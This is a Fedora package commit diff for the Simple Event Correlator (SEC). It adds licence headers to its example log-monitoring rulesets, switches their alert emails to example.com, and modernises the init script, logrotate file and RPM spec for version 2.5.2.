+action=pipe ' $1 $2 CVS Login to Root Attempt: User $2 ' /usr/bin/mail -s '$1 CVS Login to Root Failure: $2' alerts at example.com
 
 
 #Aug  5 10:42:37 xxxx cvs: login failure (for /usr/local/cvsroot)
@@ -32,5 +40,5 @@ type=single
 ptype=regexp
 pattern=([A-z._0-9-]*) cvs: login failure \(for /usr/local/cvsroot\)
 desc = cvs login failure
-action=pipe '$1 $2 CVS Login Failure ' /usr/bin/mail -s '$1 CVS Login Failure' alerts at yourdomain.com
+action=pipe '$1 $2 CVS Login Failure ' /usr/bin/mail -s '$1 CVS Login Failure' alerts at example.com
 


Index: dameware.sec
===================================================================
RCS file: /cvs/pkgs/rpms/sec/devel/dameware.sec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- dameware.sec	1 Sep 2006 20:54:01 -0000	1.1
+++ dameware.sec	3 Oct 2009 07:35:40 -0000	1.2
@@ -1,10 +1,19 @@
+#############################################################################
+# Dameware events
+#
+# Copyright (C) 2003-2009 Matt Jonkman
+# This is free software. You may redistribute copies of it under the terms of 
+# the GNU General Public License version 2.
+# There is NO WARRANTY, to the extent permitted by law.
+#############################################################################
+
 #Dameware Connect
 type=single
 ptype=regexp
 pattern=([A-z._0-9-]*) DMWRCS: (.*) Connect: (.*)
 desc = Dameware Connect
 action=add WINDOWS_REPORT DAMEWARE CONNECT: %s; \
-pipe 'DAMEWARE Connect -- : %s' /usr/bin/mail -s 'DAMEWARE CONNECT' alerts at yourdomain.com
+pipe 'DAMEWARE Connect -- : %s' /usr/bin/mail -s 'DAMEWARE CONNECT' alerts at example.com
 
 
 #Dameware Disconnect


Index: hp-openview.sec
===================================================================
RCS file: /cvs/pkgs/rpms/sec/devel/hp-openview.sec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- hp-openview.sec	1 Sep 2006 20:54:01 -0000	1.1
+++ hp-openview.sec	3 Oct 2009 07:35:40 -0000	1.2
@@ -1,10 +1,14 @@
 ################################################################
 #          Sample SEC ruleset for HP OpenView ITO
+#
+# Copyright (C) 2003-2009 Risto Vaarandi
+# This is free software. You may redistribute copies of it under the terms of 
+# the GNU General Public License version 2.
+# There is NO WARRANTY, to the extent permitted by law.
 ################################################################
 
 # process Cisco linkDown/linkUp trap events received from 
 # HP OpenView ITO trap template through itostream plugin
-# Submitted by Risto Vaarandi
 
 type=PairWithWindow
 ptype=RegExp


Index: labrea.sec
===================================================================
RCS file: /cvs/pkgs/rpms/sec/devel/labrea.sec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- labrea.sec	1 Sep 2006 20:54:01 -0000	1.1
+++ labrea.sec	3 Oct 2009 07:35:40 -0000	1.2
@@ -1,4 +1,11 @@
-#Labrea tarpit events
+#############################################################################
+# Labrea tarpit events
+#
+# Copyright (C) 2003-2009 Matt Jonkman
+# This is free software. You may redistribute copies of it under the terms of 
+# the GNU General Public License version 2.
+# There is NO WARRANTY, to the extent permitted by law.
+#############################################################################
 
 type=Single
 ptype=RegExp
@@ -25,5 +32,5 @@ type=Calendar
 time=0 8,12,20 * * *
 desc=Sending tarpit report...
 action=report TARPIT_REPORT \
-       /usr/bin/mail -s 'Tarpits: Tarpit Victim report' alerts at yourdomain.com; \
+       /usr/bin/mail -s 'Tarpits: Tarpit Victim report' alerts at example.com; \
        delete TARPIT_REPORT


Index: pix-security.sec
===================================================================
RCS file: /cvs/pkgs/rpms/sec/devel/pix-security.sec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- pix-security.sec	1 Sep 2006 20:54:01 -0000	1.1
+++ pix-security.sec	3 Oct 2009 07:35:40 -0000	1.2
@@ -1,5 +1,10 @@
 ####################################################################
 #                SEC ruleset for Cisco PIX 6.x, 7.x
+#
+# Copyright (C) 2003-2009 Chris Sawall
+# This is free software. You may redistribute copies of it under the terms of 
+# the GNU General Public License version 2.
+# There is NO WARRANTY, to the extent permitted by law.
 ####################################################################
 
 # Process various events from PIX syslog output
@@ -19,7 +24,7 @@ type=SingleWithThreshold
 ptype=RegExp
 pattern=\s*.*Deny\s+(\w+)\s+src.*:(.*)/.*:(.*)/(\b2\d\b).*$
 desc=Unusual Failures:$1 $4/$2 -> $3
-action=create ffo_$1; add ffo_$1 %t; add ffo_$1 $0; report ffo_$1 /bin/mail -s "%s" email01 at domain.com; delete ffo_$1
+action=create ffo_$1; add ffo_$1 %t; add ffo_$1 $0; report ffo_$1 /bin/mail -s "%s" email01 at example.com; delete ffo_$1
 window=10
 thresh=10
 
@@ -31,7 +36,7 @@ continue=dontcont
 ptype=RegExp
 pattern=(212\.147\.14[12]\.)
 desc=Possible PHEL Trojan (1)
-action=create phel_$1; add phel_$1 Local Time = %t; add phel_$1 $0; report phel_$1 /bin/mail -s "%s" email01 at domain.com; delete phel_$1
+action=create phel_$1; add phel_$1 Local Time = %t; add phel_$1 $0; report phel_$1 /bin/mail -s "%s" email01 at example.com; delete phel_$1
 
 # ------------------------------------------------------------------
 # Watch for firewall failovers
@@ -50,7 +55,7 @@ continue=takenext
 ptype=RegExp
 pattern=\s*\S+\s(\d+\.\d+\.\d+\.\d+).*PIX-1-102001.*\(Primary\).*$
 desc=Secondary firewall for $1 - failure/reload
-action=create ffo_$1; add ffo_$1 %t; add ffo_$1 $0; report ffo_$1 /bin/mail -s "%s" email01 at domain.com; delete ffo_$1
+action=create ffo_$1; add ffo_$1 %t; add ffo_$1 $0; report ffo_$1 /bin/mail -s "%s" email01 at example.com; delete ffo_$1
 
 # Failure of secondary (standby) firewall while primary is active
 # Works for PIX 7.x
@@ -62,7 +67,7 @@ continue=takenext
 ptype=RegExp
 pattern=\s*\S+\s(\d+\.\d+\.\d+\.\d+).*PIX-1-102001.*\(Secondary\).*$
 desc=Primary firewall for $1 - failure/reload
-action=create ffo_$1; add ffo_$1 %t; add ffo_$1 $0; report ffo_$1 /bin/mail -s "%s" email01 at domain.com; delete ffo_$1
+action=create ffo_$1; add ffo_$1 %t; add ffo_$1 $0; report ffo_$1 /bin/mail -s "%s" email01 at example.com; delete ffo_$1
 
 # Failure of secondary (active), primary assumes active
 # Works for PIX 7.x
@@ -79,7 +84,7 @@ action=logonly
 ptype2=RegExp
 pattern2=\s*\S+\s(\d+\.\d+\.\d+\.\d+).*Primary\).*Peer state Standby Ready
 desc2=Secondary (was active) firewall ($1) has failed.  Primary is now active.
-action2=create ffo_$1; add ffo_$1 %t; add ffo_$1 $0; report ffo_$1 /bin/mail -s "%s" email01 at domain.com; delete ffo_$1
+action2=create ffo_$1; add ffo_$1 %t; add ffo_$1 $0; report ffo_$1 /bin/mail -s "%s" email01 at example.com; delete ffo_$1
 window=5
 
 # Failure of primary (active), secondary assumes active
@@ -97,7 +102,7 @@ action=logonly
 ptype2=RegExp
 pattern2=\s*\S+\s(\d+\.\d+\.\d+\.\d+).*Secondary\).*Peer state Standby Ready
 desc2=Primary firewall ($1) has failed.  Secondary is now active.
-action2=create ffo_$1; add ffo_$1 %t; add ffo_$1 $0; report ffo_$1 /bin/mail -s "%s" email01 at domain.com; delete ffo_$1
+action2=create ffo_$1; add ffo_$1 %t; add ffo_$1 $0; report ffo_$1 /bin/mail -s "%s" email01 at example.com; delete ffo_$1
 window=5
 
 # ------------------------------------------------------------------
@@ -114,7 +119,7 @@ continue=dontcont
 ptype=RegExp
 pattern=\s*\S+\s(\d+\.\d+\.\d+\.\d+).*PIX reload.*$
 desc=$1 has been manually rebooted
-action=create ffo_$1; add ffo_$1 %t; add ffo_$1 $0; report ffo_$1 /bin/mail -s "%s" email01 at domain.com ; delete ffo_$1
+action=create ffo_$1; add ffo_$1 %t; add ffo_$1 $0; report ffo_$1 /bin/mail -s "%s" email01 at example.com ; delete ffo_$1
 
 # Manual reload of PIX
 # Works for PIX 7.x
@@ -126,7 +131,7 @@ continue=dontcont
 ptype=RegExp
 pattern=\s*\S+\s(\d+\.\d+\.\d+\.\d+).*Orderly reload.*Reload reason:\s(\S+)
 desc=$1 has been manually rebooted, reason: $2
-action=create ffo_$1; add ffo_$1 %t; add ffo_$1 $0; report ffo_$1 /bin/mail -s "%s" email01 at domain.com; delete ffo_$1
+action=create ffo_$1; add ffo_$1 %t; add ffo_$1 $0; report ffo_$1 /bin/mail -s "%s" email01 at example.com; delete ffo_$1
 
 # ------------------------------------------------------------------
 # Watch for SSH logins/failures on firewalls
@@ -152,7 +157,7 @@ continue=dontcont
 ptype=RegExp
 pattern=\s*.*(10|172|192)\.(\d+\.\d+\.\d+).*Authentication succeeded.*\'(\S+)\'.*to\s(\d+\.\d+\.\d+\.\d+)\/0.*SSH
 desc=Admin Auth to $1.$2 -> $3 from $4
-action=create ssh_$1; add ssh_$1 Local Time = %t; add ssh_$1 $0; report ssh_$1 /bin/mail -s "%s" email01 at domain.com; delete ssh_$1
+action=create ssh_$1; add ssh_$1 Local Time = %t; add ssh_$1 $0; report ssh_$1 /bin/mail -s "%s" email01 at example.com; delete ssh_$1
 
 # Successful Admin SSH session
 # Works for PIX 7.x
@@ -165,7 +170,7 @@ continue=dontcont
 ptype=RegExp
 pattern=\s*.*(10|172|192)\.(\d+\.\d+\.\d+).*Authentication succeeded.*\'(\S+)\'\sfrom\s(\d+\.\d+\.\d+\.\d+)\/0.*/22.*$
 desc=Admin Auth to $1.$2 -> $3 from $4
-action=create ssh_$1; add ssh_$1 Local Time = %t; add ssh_$1 $0; report ssh_$1 /bin/mail -s "%s" email01 at domain.com; delete ssh_$1
+action=create ssh_$1; add ssh_$1 Local Time = %t; add ssh_$1 $0; report ssh_$1 /bin/mail -s "%s" email01 at example.com; delete ssh_$1
 
 # Failed Admin SSH session
 # Works for PIX 6.x
@@ -178,7 +183,7 @@ continue=takenext
 ptype=RegExp
 pattern=Authentication failed.*\'(\S+)\'.*SSH
 desc=Admin Auth FAILED -> $1
-action=create ssh_$1; add ssh_$1 %t; add ssh_$1 $0; report ssh_$1 /bin/mail -s "%s" email01 at domain.com; delete ssh_$1
+action=create ssh_$1; add ssh_$1 %t; add ssh_$1 $0; report ssh_$1 /bin/mail -s "%s" email01 at example.com; delete ssh_$1
 
 # Failed Admin SSH session
 # Works for PIX 7.x
@@ -191,7 +196,7 @@ continue=takenext
 ptype=RegExp
 pattern=Authentication failed.*\'(\S+)\'.*/22.*$
 desc=Admin Auth FAILED -> $1
-action=create ssh_$1; add ssh_$1 %t; add ssh_$1 $0; report ssh_$1 /bin/mail -s "%s" email01 at domain.com; delete ssh_$1
+action=create ssh_$1; add ssh_$1 %t; add ssh_$1 $0; report ssh_$1 /bin/mail -s "%s" email01 at example.com; delete ssh_$1
 
 # Normal SSH termination
 # Works for both PIX 6.x and 7.x
@@ -202,7 +207,7 @@ type=Single
 ptype=RegExp
 pattern=\s*\S+\s(\d+\.\d+\.\d+\.\d+).*\"(\S+)\".*terminated normally
 desc=ADMIN END $1 -> $2
-action=create ssh_$1; add ssh_$1 %t; add ssh_$1 $0; report ssh_$1 /bin/mail -s "%s" email01 at domain.com; delete ssh_$1
+action=create ssh_$1; add ssh_$1 %t; add ssh_$1 $0; report ssh_$1 /bin/mail -s "%s" email01 at example.com; delete ssh_$1
 
 # SSH session timeout or abnormal termination
 # Works for PIX 6.x
@@ -214,7 +219,7 @@ type=Single
 ptype=RegExp
 pattern=\s*\S+\s(\d+\.\d+\.\d+\.\d+).*disconnected by SSH server
 desc=Firewall session END - timeout $1
-action=create ssh_$1; add ssh_$1 %t; add ssh_$1 $0; report ssh_$1 /bin/mail -s "%s" email01 at domain.com; delete ssh_$1
+action=create ssh_$1; add ssh_$1 %t; add ssh_$1 $0; report ssh_$1 /bin/mail -s "%s" email01 at example.com; delete ssh_$1
 
 # ------------------------------------------------------------------
 # Watch for firewall commands
@@ -228,7 +233,7 @@ type=Single
 ptype=RegExp
 pattern=\s*\S+\s(\d+\.\d+\.\d+\.\d+).*write\sm.*
 desc=User wrote config to memory -> $1
-action=create fwcmd_$1; add fwcmd_$1 %t; add fwcmd_$1 $0; report fwcmd_$1 /bin/mail -s "%s" email01 at domain.com; delete fwcmd_$1
+action=create fwcmd_$1; add fwcmd_$1 %t; add fwcmd_$1 $0; report fwcmd_$1 /bin/mail -s "%s" email01 at example.com; delete fwcmd_$1
 
 # Watch for HIGH CPU Utilization
 # Works for PIX 6.x
@@ -237,5 +242,5 @@ type=Single
 ptype=RegExp
 pattern=PIX-.-211003
 desc=HIGH CPU Utilization
-action=create fwcmd_$1; add fwcmd_$1 %t; add fwcmd_$1 $0; report fwcmd_$1 /bin/mail -s "%s" email01 at domain.com; delete fwcmd_$1
+action=create fwcmd_$1; add fwcmd_$1 %t; add fwcmd_$1 $0; report fwcmd_$1 /bin/mail -s "%s" email01 at example.com; delete fwcmd_$1
 


Index: pix-url.sec
===================================================================
RCS file: /cvs/pkgs/rpms/sec/devel/pix-url.sec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- pix-url.sec	1 Sep 2006 20:54:01 -0000	1.1
+++ pix-url.sec	3 Oct 2009 07:35:40 -0000	1.2
@@ -1,5 +1,10 @@
 ####################################################################
 #                SEC ruleset for Monitoring Keywords
+#
+# Copyright (C) 2003-2009 Chris Sawall
+# This is free software. You may redistribute copies of it under the terms of 
+# the GNU General Public License version 2.
+# There is NO WARRANTY, to the extent permitted by law.
 ####################################################################
 
 # This particular ruleset was designed to monitor PIX syslog traffic
@@ -41,7 +46,7 @@ type=Single
 ptype=PerlFunc
 pattern=sub {($_[0] =~ /($list)/) }
 desc=Inappropriate word in URL
-action=create ssh_$1; add ssh_$1 %t; add ssh_$1 $0; report ssh_$1 /bin/mail -s "%s" email01 at domain.com; delete ssh_$1
+action=create ssh_$1; add ssh_$1 %t; add ssh_$1 $0; report ssh_$1 /bin/mail -s "%s" email01 at example.com; delete ssh_$1
 
 #
 # Examples of "watch4badwords" and "watch4excludes"


Index: portscan.sec
===================================================================
RCS file: /cvs/pkgs/rpms/sec/devel/portscan.sec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- portscan.sec	1 Sep 2006 20:54:01 -0000	1.1
+++ portscan.sec	3 Oct 2009 07:35:41 -0000	1.2
@@ -1,5 +1,10 @@
 ################################################################
 # Sample SEC ruleset for "PORTSCAN FROM ip1 TO ip2:port" events
+#
+# Copyright (C) 2003-2009 Risto Vaarandi
+# This is free software. You may redistribute copies of it under the terms of 
+# the GNU General Public License version 2.
+# There is NO WARRANTY, to the extent permitted by law.
 ################################################################
 
 # process "PORTSCAN FROM ip1 TO ip2:port" events, and if a certain
@@ -35,6 +40,6 @@ context=HORIZONTAL_PORTSWEEP_FROM_SOURCE
 continue=DontCont
 desc=$1 has scanned more than 10 destinations
 action=report HORIZONTAL_PORTSWEEP_FROM_SOURCE_IP_$1_TO_TARGET_PORT_$3 \
-       mail -s 'Horizontal port sweep from $1 target port $3' root at localhost; \
+       mail -s 'Horizontal port sweep from $1 target port $3' root at example.com; \
        delete HORIZONTAL_PORTSWEEP_FROM_SOURCE_IP_$1_TO_TARGET_PORT_$3; \
        eval %o ( delete $portscans{"$1:$3"} )


Index: sec.init
===================================================================
RCS file: /cvs/pkgs/rpms/sec/devel/sec.init,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sec.init	1 Sep 2006 20:54:01 -0000	1.1
+++ sec.init	3 Oct 2009 07:35:41 -0000	1.2
@@ -1,88 +1,102 @@
 #!/bin/bash
 #
-# sec           This starts and stops SEC
+# sec           Start and stop SEC.
 #
-# chkconfig:    - 26 74
+# chkconfig:    - 20 80
 # description:  Simple Event Correlator script to filter log file entries
-# processname:  /usr/bin/sec
-# config:       /etc/sysconfig/sec
-# pidfile:      /var/run/sec.pid
-#
-
-# Source function library.
-    . /etc/rc.d/init.d/functions
-
-# Default to a clean return value
-    RETVAL=0
-
-# Program we'll be executing
-    EXEC='/usr/bin/sec'
-    prog='sec'
 
-    [ -f $EXEC ] || exit 0
+. /etc/rc.d/init.d/functions
 
-# Source the config
-    [ -e /etc/sysconfig/$prog ] && . /etc/sysconfig/$prog
+prog="sec"
+exec="/usr/bin/sec"
+lockfile="/var/lock/subsys/sec"
 
-# No options defined means that sec can't run
-    [ -z "$SEC_ARGS" ] && exit 0
-
-# And away we go...
+[ -e /etc/sysconfig/$prog ] && . /etc/sysconfig/$prog
 
 start() {
-    for n in `seq 0 $((${#SEC_ARGS[*]} - 1))`; do
-        echo -n $"Starting $prog instance "$(($n + 1))": "
-        daemon $EXEC ${SEC_ARGS[$n]}
-        RETVAL=$?
-        [ $RETVAL -ne 0 ] && return $RETVAL
-    done
-    touch /var/lock/subsys/$prog
-    return $RETVAL
+	[ -x $exec ] || exit 5
+	for n in `seq 0 $((${#SEC_ARGS[*]} - 1))`; do
+		echo -n $"Starting $prog instance "$(($n + 1))": "
+		daemon $exec ${SEC_ARGS[$n]}
+		RETVAL=$?
+		echo
+		[ $RETVAL -ne 0 ] && return $RETVAL
+	done
+	touch $lockfile
+	return $RETVAL
 }
 
 stop() {
-    echo -n $"Stopping $prog: "
-    killproc $prog
-    RETVAL=$?
-    echo
-    [ $RETVAL -eq 0 ] && rm -f /var/lock/subsys/$prog
-    return $RETVAL
+	echo -n $"Stopping $prog: "
+	killproc $prog
+	RETVAL=$?
+	echo
+	[ $RETVAL -eq 0 ] && rm -f $lockfile
+	return $RETVAL
+}
+
+restart() {
+	stop
+	start
 }
 
 reload() {
-    echo -n $"Reloading configuration: "
-    killproc $prog -HUP
-    RETVAL=$?
-    echo
-    return $RETVAL
+	echo -n $"Reloading $prog: "
+	killproc $prog -HUP
+	RETVAL=$?
+	echo
+	return $RETVAL
 }
 
-restart() {
-    stop
-    start
+force_reload() {
+	restart
 }
 
-dump() {
-    echo -n $"Dumping state in /tmp/sec.dump: "
-    killproc $prog -USR1
-    RETVAL=$?
-    echo
-    return $RETVAL
+rh_status() {
+	status $prog
 }
 
-sec_status() {
-    status $prog
+rh_status_q() {
+	rh_status >/dev/null 2>&1
+}
+
+dump() {
+	echo -n $"Dumping state of $prog in /tmp/sec.dump: "
+	killproc $prog -USR1
+	RETVAL=$?
+	echo
+	return $RETVAL
 }
 
 case "$1" in
-    start|stop|reload|restart|dump)
-        $1
-        ;;
-    status)
-        sec_status
-        ;;
-    *)
-        echo $"Usage: $0 {start|stop|reload|restart|dump|status}"
-        exit 2
+  start)
+	start
+	;;
+  stop)
+	stop
+	;;
+  restart)
+	restart
+	;;
+  condrestart|try-restart)
+	rh_status_q || exit 0
+	restart
+	;;
+  reload)
+	reload
+	;;
+  force-reload)
+	force_reload
+	;;
+  status)
+	rh_status
+	;;
+  dump)
+	dump
+	;;
+  *)
+	echo $"Usage: $0 {start|stop|restart|condrestart|try-restart|reload|force-reload|status|dump}"
+	exit 2
 esac
 
+exit $?


Index: sec.logrotate
===================================================================
RCS file: /cvs/pkgs/rpms/sec/devel/sec.logrotate,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sec.logrotate	1 Sep 2006 20:54:01 -0000	1.1
+++ sec.logrotate	3 Oct 2009 07:35:41 -0000	1.2
@@ -3,6 +3,6 @@
     notifempty
     sharedscripts
     postrotate
-        /sbin/service sec reload 2> /dev/null > /dev/null || true
+        /sbin/service sec reload >/dev/null 2>&1 || true
     endscript
 }


Index: sec.spec
===================================================================
RCS file: /cvs/pkgs/rpms/sec/devel/sec.spec,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- sec.spec	27 Jul 2009 04:07:02 -0000	1.6
+++ sec.spec	3 Oct 2009 07:35:41 -0000	1.7
@@ -1,198 +1,121 @@
-#
-# Specfile for SEC, the simple event correlator
-#
-# https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=169345
-#
-
 Name:           sec
-Version:        2.4.1
-Release:        4%{?dist}
-Summary:        SEC (simple event correlator)
-
+Version:        2.5.2
+Release:        1%{?dist}
+Summary:        Simple Event Correlator script to filter log file entries
 Group:          System Environment/Daemons
 License:        GPLv2+
-URL:            http://www.estpak.ee/~risto/sec/
-
-################################################################################
-
+URL:            http://simple-evcorr.sourceforge.net/
 Source0:        http://dl.sourceforge.net/simple-evcorr/%{name}-%{version}.tar.gz
 Source1:        sec.sysconfig
 Source2:        sec.init
 Source3:        sec.logrotate
-
 # Example files and configuration info
-Source100:      conf.README
-Source101:      http://www.estpak.ee/~risto/sec/examples/syslog-ng.txt
-Source102:      001_init.sec
-Source103:      http://www.bleedingsnort.com/sec/amavisd.sec
-Source104:      http://www.bleedingsnort.com/sec/bsd-MONITOR.sec
-Source105:      http://www.bleedingsnort.com/sec/bsd-PHYSMOD.sec
-Source106:      http://www.bleedingsnort.com/sec/bsd-USERACT.sec
-Source107:      http://www.bleedingsnort.com/sec/clamav.sec
-Source108:      http://www.bleedingsnort.com/sec/cvs.sec
-Source109:      http://www.bleedingsnort.com/sec/dameware.sec
-Source110:      http://www.bleedingsnort.com/sec/dbi-example.sec
-Source111:      http://www.bleedingsnort.com/sec/general.sec
-Source112:      http://www.bleedingsnort.com/sec/hp-openview.sec
-Source113:      http://www.bleedingsnort.com/sec/labrea.sec
-Source114:      http://www.bleedingsnort.com/sec/mpd.sec
-Source115:      http://www.bleedingsnort.com/sec/pix-security.sec
-Source116:      http://www.bleedingsnort.com/sec/pix-url.sec
-Source117:      http://www.bleedingsnort.com/sec/portscan.sec
-Source118:      http://www.bleedingsnort.com/sec/snort.sec
-Source119:      http://www.bleedingsnort.com/sec/snortsam.sec
-Source120:      http://www.bleedingsnort.com/sec/ssh-brute.sec
-Source121:      http://www.bleedingsnort.com/sec/ssh.sec
-Source122:      http://www.bleedingsnort.com/sec/vtund.sec
-Source123:      http://www.bleedingsnort.com/sec/windows.sec
-
-BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
-
-BuildArch:		noarch
+Source4:        conf.README
+Source5:        http://simple-evcorr.sourceforge.net/rulesets/amavisd.sec
+Source6:        http://simple-evcorr.sourceforge.net/rulesets/bsd-MONITOR.sec
+Source7:        http://simple-evcorr.sourceforge.net/rulesets/bsd-PHYSMOD.sec
+Source8:        http://simple-evcorr.sourceforge.net/rulesets/bsd-USERACT.sec
+Source9:        http://simple-evcorr.sourceforge.net/rulesets/bsd-general.sec
+Source10:       http://simple-evcorr.sourceforge.net/rulesets/bsd-mpd.sec
+Source11:       http://simple-evcorr.sourceforge.net/rulesets/cisco-syslog.sec
+Source12:       http://simple-evcorr.sourceforge.net/rulesets/cvs.sec
+Source13:       http://simple-evcorr.sourceforge.net/rulesets/dameware.sec
+Source14:       http://simple-evcorr.sourceforge.net/rulesets/hp-openview.sec
+Source15:       http://simple-evcorr.sourceforge.net/rulesets/labrea.sec
+Source16:       http://simple-evcorr.sourceforge.net/rulesets/pix-general.sec
+Source17:       http://simple-evcorr.sourceforge.net/rulesets/pix-security.sec
+Source18:       http://simple-evcorr.sourceforge.net/rulesets/pix-url.sec
+Source19:       http://simple-evcorr.sourceforge.net/rulesets/portscan.sec
+Source20:       http://simple-evcorr.sourceforge.net/rulesets/snort.sec
+Source21:       http://simple-evcorr.sourceforge.net/rulesets/snortsam.sec
+Source22:       http://simple-evcorr.sourceforge.net/rulesets/ssh-brute.sec
+Source23:       http://simple-evcorr.sourceforge.net/rulesets/ssh.sec
+Source24:       http://simple-evcorr.sourceforge.net/rulesets/vtund.sec
+Source25:       http://simple-evcorr.sourceforge.net/rulesets/windows.sec
+BuildArch:      noarch
 
-################################################################################
+# The init script uses arrays, so we need bash
+Requires:       bash
+Requires:       logrotate
 
-Requires(post):	    chkconfig
+Requires(post):     chkconfig
 Requires(postun):   initscripts
 Requires(preun):    initscripts, chkconfig
 
-# The init script uses arrays, so we need bash
-Requires:           bash
-
-# Not required specifically by SEC, but our examples use it so we might as well
-# create a requirement for logrotate.
-Requires:           logrotate
-
-# Some alternate names for the package that users might search for
-Provides:           simple-evcorr
-Provides:           sec.pl
-
-################################################################################
-
 %description
-SEC is an open source and platform independent event correlation tool that
-was designed to fill the gap between commercial event correlation systems and
-homegrown solutions that usually comprise a few simple shell scripts.
-SEC accepts input from regular files, named pipes, and standard input, and can
-thus be employed as an event correlator for any application that is able to
-write its output events to a file stream.
-
-################################################################################
+SEC is a simple event correlation tool that reads lines from files, named
+pipes, or standard input, and matches the lines with regular expressions,
+Perl subroutines, and other patterns for recognizing input events.
+Events are then correlated according to the rules in configuration files,
+producing output events by executing user-specified shell commands, by
+writing messages to pipes or files, etc.
 
 %prep
 %setup -q
 
-# Replace some tags in the config files
-    sed -i -e 's/@@NAME@@/%{name}/'    \
-        %{SOURCE1}                     \
-        %{SOURCE2}                     \
-        %{SOURCE3}
-
-# Fix the bindir in case a user wants it put in a different location
-    sed -i -e 's#/usr/bin/sec#%{_bindir}/sec#' \
-        %{SOURCE2}
-
-################################################################################
+%build
 
 %install
-
-rm -rf $RPM_BUILD_ROOT
-
-# Create the directories we'll need
-    install -d -m 755 $RPM_BUILD_ROOT%{_initrddir}
-    install -d -m 755 $RPM_BUILD_ROOT%{_localstatedir}/log
-    install -d -m 755 $RPM_BUILD_ROOT%{_localstatedir}/run
-    install -d -m 755 $RPM_BUILD_ROOT%{_sysconfdir}/logrotate.d
-    install -d -m 755 $RPM_BUILD_ROOT%{_sysconfdir}/sysconfig
-    install -d -m 755 $RPM_BUILD_ROOT%{_sysconfdir}/%{name}/examples
-
 # Install SEC and its associated files
-    install -D -p -m 755 sec.pl     $RPM_BUILD_ROOT%{_bindir}/sec
-    install -D -p -m 644 sec.pl.man $RPM_BUILD_ROOT%{_mandir}/man1/sec.1
-    install -p -m 644 %{SOURCE1} $RPM_BUILD_ROOT%{_sysconfdir}/sysconfig/sec
-    install -p -m 644 %{SOURCE3} $RPM_BUILD_ROOT%{_sysconfdir}/logrotate.d/sec
-    install -p -m 755 %{SOURCE2} $RPM_BUILD_ROOT%{_initrddir}/sec
+install -D -m 0755 -p sec.pl     %{buildroot}%{_bindir}/sec
+install -D -m 0644 -p sec.pl.man %{buildroot}%{_mandir}/man1/sec.1
+install -D -m 0644 -p %{SOURCE1} %{buildroot}%{_sysconfdir}/sysconfig/sec
+install -D -m 0644 -p %{SOURCE3} %{buildroot}%{_sysconfdir}/logrotate.d/sec
+install -D -m 0755 -p %{SOURCE2} %{buildroot}%{_initrddir}/sec
 
 # Install the example config files and readme
-    install -p -m 644 %{SOURCE100} \
-            $RPM_BUILD_ROOT%{_sysconfdir}/%{name}/README
-    install -p -m 644 %{SOURCE101} \
-            $RPM_BUILD_ROOT%{_sysconfdir}/%{name}/examples/syslog-ng.sec
-    install -p -m 644 %{SOURCE102}  \
-                      %{SOURCE103}  \
-                      %{SOURCE104}  \
-                      %{SOURCE105}  \
-                      %{SOURCE106}  \
-                      %{SOURCE107}  \
-                      %{SOURCE108}  \
-                      %{SOURCE109}  \
-                      %{SOURCE110}  \
-                      %{SOURCE111}  \
-                      %{SOURCE112}  \
-                      %{SOURCE113}  \
-                      %{SOURCE114}  \
-                      %{SOURCE115}  \
-                      %{SOURCE116}  \
-                      %{SOURCE117}  \
-                      %{SOURCE118}  \
-                      %{SOURCE119}  \
-                      %{SOURCE120}  \
-                      %{SOURCE121}  \
-                      %{SOURCE122}  \
-                      %{SOURCE123}  \
-            $RPM_BUILD_ROOT%{_sysconfdir}/%{name}/examples/
-
-# Replace all "email.com" in sample scripts with an actual fake domain: example.com
-    grep -rl 'email.com' $RPM_BUILD_ROOT%{_sysconfdir}/%{name}/ \
-         | xargs sed -i -e 's/email.com/example.com/g'
-
-# Create ghost files so rpm doesn't complain about them being gone
-    touch $RPM_BUILD_ROOT%{_localstatedir}/log/sec
-    touch $RPM_BUILD_ROOT%{_localstatedir}/run/sec.pid
+install -D -m 0644 -p %{SOURCE4} %{buildroot}%{_sysconfdir}/%{name}/README
+install -d -m 0755  examples
+install -m 0644 -p %{SOURCE5} %{SOURCE6} %{SOURCE7} %{SOURCE8} \
+                   %{SOURCE9} %{SOURCE10} %{SOURCE11} %{SOURCE12} \
+                   %{SOURCE13} %{SOURCE14} %{SOURCE15} %{SOURCE16} \
+                   %{SOURCE17} %{SOURCE18} %{SOURCE19} %{SOURCE20} \
+                   %{SOURCE21} %{SOURCE22} %{SOURCE23} %{SOURCE24} \
+                   %{SOURCE25} examples/
 
-################################################################################
+# Remove executable bits because these files get packed as docs
+chmod 0644 contrib/convert.pl contrib/swatch2sec.pl
 
 %post
-
-if [ $1 = 1 ]; then
-	/sbin/chkconfig --add sec
+if [ $1 -eq 1 ]; then
+        /sbin/chkconfig --add sec
 fi
 
 %preun
-
-if [ $1 = 0 ]; then
-	/sbin/service sec stop > /dev/null 2>&1 || :
-	/sbin/chkconfig --del sec
+if [ $1 -eq 0 ]; then
+        /sbin/service sec stop >/dev/null 2>&1
+        /sbin/chkconfig --del sec
 fi
 
 %postun
-
-if [ $1 = 1 ]; then
-    /sbin/service sec condrestart
+if [ $1 -eq 1 ]; then
+        /sbin/service sec condrestart >/dev/null 2>&1
 fi
 
 %clean
-
-rm -rf $RPM_BUILD_ROOT
-
-################################################################################
+rm -rf %{buildroot}
 
 %files
-
 %defattr(-,root,root,-)
-%doc ChangeLog COPYING README
+%doc ChangeLog COPYING README contrib/convert.pl contrib/itostream.c contrib/swatch2sec.pl examples
+%config(noreplace) %{_sysconfdir}/%{name}
 %config(noreplace) %{_sysconfdir}/sysconfig/sec
-%config(noreplace) %verify (not md5 size mtime) %{_sysconfdir}/logrotate.d/sec
-%{_sysconfdir}/%{name}
-%{_bindir}/sec
+%config(noreplace) %{_sysconfdir}/logrotate.d/sec
